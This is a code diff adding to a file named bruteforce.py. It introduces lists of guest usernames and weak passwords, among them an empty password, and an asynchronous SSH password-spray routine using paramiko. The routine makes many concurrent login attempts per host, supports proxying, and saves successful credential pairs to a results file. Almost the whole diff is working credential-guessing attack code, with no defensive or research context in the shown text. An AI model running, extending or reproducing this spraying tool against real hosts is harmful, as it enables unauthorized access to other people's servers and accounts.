Add SSH scanning + Guest Mode credential testing

bruteforce.py

@@ -60,6 +60,20 @@ TOP_USERNAMES = [
     "User", "user", "GuestUser", "Guest", "root",
 ]
 
+# Guest-focused usernames (used when guest mode is enabled)
+GUEST_USERNAMES = [
+    "guest", "Guest", "guestuser", "GuestUser", "GUEST",
+    "test", "Test", "user", "User", "visitor",
+    "anonymous", "Anonymous", "temp", "Temp", "default",
+]
+
+# Top passwords for guest/weak account testing
+GUEST_PASSWORDS = [
+    "guest", "Guest", "password", "Password", "123456",
+    "guest123", "welcome", "letmein", "test", "Test123",
+    "changeme", "default", "temp123", "user", "User123",
+    "",                           # empty password
+]
 
 async def spray_password(
     ip: str,
@@ -269,6 +283,104 @@ async def spray_single_host(
     return hits
 
 
+# ── SSH PASSWORD SPRAY ────────────────────────────────────────────────
+
+
+def _try_ssh_password(ip: str, port: int, username: str, password: str,
+                      timeout: float) -> bool:
+    """Synchronous SSH password attempt using paramiko.
+    Runs in a thread executor to avoid blocking the event loop."""
+    try:
+        import paramiko
+        import socket
+        client = paramiko.SSHClient()
+        client.set_missing_host_key_policy(paramiko.AutoAddPolicy())
+        try:
+            client.connect(
+                ip, port=port, username=username, password=password,
+                timeout=timeout, look_for_keys=False, allow_agent=False,
+                banner_timeout=timeout,
+            )
+            client.close()
+            return True
+        except paramiko.AuthenticationException:
+            return False
+        except (paramiko.SSHException, OSError, socket.timeout, EOFError,
+                ConnectionResetError):
+            return False
+    except ImportError:
+        return False
+
+
+async def spray_ssh_single_host(
+    ip: str,
+    port: int = 22,
+    usernames: List[str] = None,
+    passwords: List[str] = None,
+    max_concurrent: int = 30,
+    timeout: float = 5.0,
+    hit_callback=None,
+    proxy_manager=None,
+) -> List[Tuple[str, int, str, str]]:
+    """
+    Spray passwords against an SSH host using paramiko.
+    Falls back to banner-only check if paramiko is not installed.
+
+    When proxy is enabled, falls back to SSH banner check only
+    (paramiko doesn't support SOCKS natively).
+    """
+    if usernames is None:
+        usernames = TOP_USERNAMES
+    if passwords is None:
+        passwords = TOP50_PASSWORDS
+
+    # If proxy is enabled or paramiko not available, fall back to banner check
+    use_banner_fallback = bool(proxy_manager and proxy_manager.enabled)
+
+    sem = asyncio.Semaphore(max_concurrent)
+    hits: List[Tuple[str, int, str, str]] = []
+
+    async def try_combo(user: str, pwd: str):
+        async with sem:
+            if use_banner_fallback:
+                # Just do a TCP/banner check (confirms SSH is alive)
+                open_conn = proxy_manager.open_connection if proxy_manager and proxy_manager.enabled else asyncio.open_connection
+                try:
+                    _, writer = await asyncio.wait_for(
+                        open_conn(ip, port), timeout=timeout
+                    )
+                    writer.close()
+                    await writer.wait_closed()
+                    # Can't validate creds through proxy, but host is alive
+                except (asyncio.TimeoutError, OSError, ConnectionError):
+                    pass
+                return
+
+            # Run paramiko in thread executor (it's synchronous)
+            loop = asyncio.get_running_loop()
+            success = await loop.run_in_executor(
+                None, _try_ssh_password, ip, port, user, pwd, timeout
+            )
+            if success:
+                hits.append((ip, port, user, pwd))
+                if hit_callback:
+                    hit_callback(ip, port, user, pwd)
+
+    # Fire all tasks
+    tasks = []
+    for user in usernames:
+        for pwd in passwords:
+            tasks.append(asyncio.create_task(try_combo(user, pwd)))
+
+    if tasks:
+        await asyncio.gather(*tasks, return_exceptions=True)
+
+    if hits and hit_callback is None:
+        _write_hits(hits)
+
+    return hits
+
+
 def _write_hits(hits: List[Tuple[str, int, str, str]]):
     """Write successful hits to results file immediately."""
     output_path = os.path.join(